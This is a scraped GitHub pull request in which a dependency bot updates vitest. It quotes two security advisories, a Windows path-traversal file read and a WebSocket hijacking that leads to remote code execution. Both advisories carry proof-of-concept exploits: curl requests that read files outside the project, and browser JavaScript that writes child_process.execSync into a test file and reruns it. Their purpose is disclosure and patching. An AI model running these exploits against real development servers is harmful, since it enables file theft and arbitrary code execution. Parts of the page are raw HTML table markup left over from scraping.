🚨 [security] Update vitest 2.1.9 → 4.1.8 (major) by depfu[bot] · Pull Request #34 · volverjs/ai

depfu · 2026-06-01T16:06:14Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ vitest (2.1.9 → 4.1.8) · Repo

Security Advisories 🚨

🚨 When Vitest UI server is listening, arbitrary file can be read and executed

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)

running the Vitest UI or Browser Mode on Windows

Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
vitest/packages/ui/node/index.ts

Line 77 in eb1abf0
 <tbody>
if (!isFileServingAllowed(ctx.vite.config, fsPath)) {
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.
vitest/packages/vitest/src/api/setup.ts

Lines 103 to 105 in eb1abf0
 <tbody>
 <tr class="border-0">
 <td id="L104" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="104"></td>
 <td id="LC104" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> return undefined </td>
 </tr>

 <tr class="border-0">
 <td id="L105" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="105"></td>
 <td id="LC105" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> } </td>
 </tr>
</tbody>
if (!isFileServingAllowed(testModule.project.vite.config, moduleId)) {
vitest/packages/vitest/src/api/setup.ts

Lines 119 to 121 in eb1abf0
 <tbody>
 <tr class="border-0">
 <td id="L120" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="120"></td>
 <td id="LC120" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> return </td>
 </tr>

 <tr class="border-0">
 <td id="L121" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="121"></td>
 <td id="LC121" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> } </td>
 </tr>
</tbody>
if (!testModule || !isFileServingAllowed(project.vite.config, moduleId)) {
vitest/packages/browser/src/node/commands/fs.ts

Lines 10 to 11 in eb1abf0
 <tbody>
 <tr class="border-0">
 <td id="L11" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="11"></td>
 <td id="LC11" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> &amp;&amp; !isFileServingAllowed(path, project.vitest.vite) </td>
 </tr>
</tbody>
!isFileServingAllowed(path, project.vite)
vitest/packages/browser/src/node/plugin.ts

Lines 194 to 196 in eb1abf0
 <tbody>
 <tr class="border-0">
 <td id="L195" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="195"></td>
 <td id="LC195" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> return next() </td>
 </tr>

 <tr class="border-0">
 <td id="L196" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="196"></td>
 <td id="LC196" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> } </td>
 </tr>
</tbody>
if (!isFileServingAllowed(parentServer.vite.config, fsPath)) {
vitest/packages/browser/src/node/rpc.ts

Lines 115 to 121 in eb1abf0
 <tbody>
 <tr class="border-0">
 <td id="L116" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="116"></td>
 <td id="LC116" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> if (!isFileServingAllowed(path, vite)) { </td>
 </tr>

 <tr class="border-0">
 <td id="L117" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="117"></td>
 <td id="LC117" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> throw new Error( </td>
 </tr>

 <tr class="border-0">
 <td id="L118" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="118"></td>
 <td id="LC118" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> `Access denied to "${path}". See Vite config documentation for "server.fs": https://vitejs.dev/config/server-options.html#server-fs-strict.`, </td>
 </tr>

 <tr class="border-0">
 <td id="L119" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="119"></td>
 <td id="LC119" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> ) </td>
 </tr>

 <tr class="border-0">
 <td id="L120" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="120"></td>
 <td id="LC120" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> } </td>
 </tr>

 <tr class="border-0">
 <td id="L121" class="blob-num border-0 tmp-px-3 py-0 color-bg-default" data-line-number="121"></td>
 <td id="LC121" class="blob-code border-0 tmp-px-3 py-0 color-bg-default blob-code-inner js-file-line"> } </td>
 </tr>
</tbody>
function checkFileAccess(path: string) {
That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC

Run Vitest UI

Get the API token by curl http://localhost:51204/__vitest__/

Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&contentType=text/plain&token=$TOKEN" (TOKEN is the API token)

curl shows the content of secret.txt that is outside the project directory

Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

🚨 Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.

vitest/packages/vitest/src/api/setup.ts

Lines 32 to 46 in 9a581e1

    <tbody>

    <tr class="border-0">
      <td id="L33" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="33"></td>
      <td id="LC33" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-c1">url</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L34" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="34"></td>
      <td id="LC34" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-k">return</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L35" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="35"></td>
      <td id="LC35" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L36" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="36"></td>
      <td id="LC36" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">  </td>
    </tr>

    <tr class="border-0">
      <td id="L37" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="37"></td>
      <td id="LC37" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">const</span> <span class="pl-kos">{</span> pathname <span class="pl-kos">}</span> <span class="pl-c1">=</span> <span class="pl-k">new</span> <span class="pl-c1">URL</span><span class="pl-kos">(</span><span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-c1">url</span><span class="pl-kos">,</span> <span class="pl-s">'http://localhost'</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L38" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="38"></td>
      <td id="LC38" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">pathname</span> <span class="pl-c1">!==</span> <span class="pl-c1">API_PATH</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L39" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="39"></td>
      <td id="LC39" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-k">return</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L40" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="40"></td>
      <td id="LC40" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L41" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="41"></td>
      <td id="LC41" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">  </td>
    </tr>

    <tr class="border-0">
      <td id="L42" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="42"></td>
      <td id="LC42" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-s1">wss</span><span class="pl-kos">.</span><span class="pl-en">handleUpgrade</span><span class="pl-kos">(</span><span class="pl-s1">request</span><span class="pl-kos">,</span> <span class="pl-s1">socket</span><span class="pl-kos">,</span> <span class="pl-s1">head</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">ws</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L43" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="43"></td>
      <td id="LC43" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-s1">wss</span><span class="pl-kos">.</span><span class="pl-en">emit</span><span class="pl-kos">(</span><span class="pl-s">'connection'</span><span class="pl-kos">,</span> <span class="pl-s1">ws</span><span class="pl-kos">,</span> <span class="pl-s1">request</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L44" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="44"></td>
      <td id="LC44" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-en">setupClient</span><span class="pl-kos">(</span><span class="pl-s1">ws</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L45" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="45"></td>
      <td id="LC45" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L46" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="46"></td>
      <td id="LC46" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-kos">}</span><span class="pl-kos">)</span> </td>
    </tr>
</tbody>

	server.httpServer?.on('upgrade', (request, socket, head) => {

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.

vitest/packages/vitest/src/api/setup.ts

Lines 66 to 76 in 9a581e1

    <tbody>

    <tr class="border-0">
      <td id="L67" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="67"></td>
      <td id="LC67" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-s1">ctx</span><span class="pl-kos">.</span><span class="pl-c1">state</span><span class="pl-kos">.</span><span class="pl-c1">filesMap</span><span class="pl-kos">.</span><span class="pl-en">has</span><span class="pl-kos">(</span><span class="pl-s1">id</span><span class="pl-kos">)</span> <span class="pl-c1">||</span> <span class="pl-c1">!</span><span class="pl-en">existsSync</span><span class="pl-kos">(</span><span class="pl-s1">id</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L68" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="68"></td>
      <td id="LC68" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-k">throw</span> <span class="pl-k">new</span> <span class="pl-v">Error</span><span class="pl-kos">(</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L69" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="69"></td>
      <td id="LC69" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-s">`Test file "<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">id</span><span class="pl-kos">}</span></span>" was not registered, so it cannot be updated using the API.`</span><span class="pl-kos">,</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L70" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="70"></td>
      <td id="LC70" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L71" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="71"></td>
      <td id="LC71" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L72" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="72"></td>
      <td id="LC72" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">return</span> <span class="pl-s1">fs</span><span class="pl-kos">.</span><span class="pl-en">writeFile</span><span class="pl-kos">(</span><span class="pl-s1">id</span><span class="pl-kos">,</span> <span class="pl-s1">content</span><span class="pl-kos">,</span> <span class="pl-s">'utf-8'</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L73" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="73"></td>
      <td id="LC73" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-kos">}</span><span class="pl-kos">,</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L74" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="74"></td>
      <td id="LC74" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">async</span> <span class="pl-en">rerun</span><span class="pl-kos">(</span><span class="pl-s1">files</span><span class="pl-kos">,</span> <span class="pl-s1">resetTestNamePattern</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L75" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="75"></td>
      <td id="LC75" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">await</span> <span class="pl-s1">ctx</span><span class="pl-kos">.</span><span class="pl-en">rerunFiles</span><span class="pl-kos">(</span><span class="pl-s1">files</span><span class="pl-kos">,</span> <span class="pl-c1">undefined</span><span class="pl-kos">,</span> <span class="pl-c1">true</span><span class="pl-kos">,</span> <span class="pl-s1">resetTestNamePattern</span><span class="pl-kos">)</span> </td>
    </tr>

    <tr class="border-0">
      <td id="L76" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="76"></td>
      <td id="LC76" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-kos">}</span><span class="pl-kos">,</span> </td>
    </tr>
</tbody>

	async saveTestFile(id, content) {

PoC

Open Vitest UI.
Access a malicious web site with the script below.
If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run

const ws = new WebSocket('ws://localhost:51204/vitest_api')

ws.addEventListener('message', e => {

console.log(e.data)

})

ws.addEventListener('open', () => {

ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
<span class="pl-k">const</span> <span class="pl-s1">testFilePath</span> <span class="pl-c1">=</span> <span class="pl-s">"/path/to/test-file/basic.test.ts"</span> <span class="pl-c">// use a test file returned from the response of "getFiles"</span>

<span class="pl-c">// edit file content to inject command execution</span>
<span class="pl-s1">ws</span><span class="pl-kos">.</span><span class="pl-en">send</span><span class="pl-kos">(</span><span class="pl-v">Flatted</span><span class="pl-kos">.</span><span class="pl-en">stringify</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
  <span class="pl-c1">t</span>: <span class="pl-s">'q'</span><span class="pl-kos">,</span>
  <span class="pl-c1">i</span>: <span class="pl-s1">crypto</span><span class="pl-kos">.</span><span class="pl-en">randomUUID</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">,</span>
  <span class="pl-c1">m</span>: <span class="pl-s">"saveTestFile"</span><span class="pl-kos">,</span>
  <span class="pl-c1">a</span>: <span class="pl-kos">[</span><span class="pl-s1">testFilePath</span><span class="pl-kos">,</span> <span class="pl-s">"import child_process from 'child_process';child_process.execSync('calc')"</span><span class="pl-kos">]</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">)</span>
<span class="pl-c">// rerun the tests to run the injected command execution code</span>
<span class="pl-s1">ws</span><span class="pl-kos">.</span><span class="pl-en">send</span><span class="pl-kos">(</span><span class="pl-v">Flatted</span><span class="pl-kos">.</span><span class="pl-en">stringify</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
  <span class="pl-c1">t</span>: <span class="pl-s">'q'</span><span class="pl-kos">,</span>
  <span class="pl-c1">i</span>: <span class="pl-s1">crypto</span><span class="pl-kos">.</span><span class="pl-en">randomUUID</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">,</span>
  <span class="pl-c1">m</span>: <span class="pl-s">"rerun"</span><span class="pl-kos">,</span>
  <span class="pl-c1">a</span>: <span class="pl-kos">[</span><span class="pl-s1">testFilePath</span><span class="pl-kos">]</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">)</span>

})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

sonarqubecloud · 2026-06-01T16:07:04Z

Quality Gate failed

Failed conditions
8 Security Hotspots
C Security Rating on New Code (required ≥ A)

See analysis details on SonarQube Cloud

Catch issues before they fail your Quality Gate with our IDE extension SonarQube for IDE

Update vitest to version 4.1.8

4981b55

depfu Bot added the depfu label Jun 1, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] Update vitest 2.1.9 → 4.1.8 (major)#34

🚨 [security] Update vitest 2.1.9 → 4.1.8 (major)#34
depfu[bot] wants to merge 1 commit into
mainfrom
depfu/update/pnpm/vitest-4.1.8

depfu Bot commented Jun 1, 2026

Uh oh!

sonarqubecloud Bot commented Jun 1, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

depfu Bot commented Jun 1, 2026

What changed?

✳️ vitest (2.1.9 → 4.1.8) · Repo

🚨 When Vitest UI server is listening, arbitrary file can be read and executed

Summary

Impact

Details

PoC

Mitigations

🚨 Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

Summary

Details

PoC

Impact

Uh oh!

sonarqubecloud Bot commented Jun 1, 2026

Quality Gate failed

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants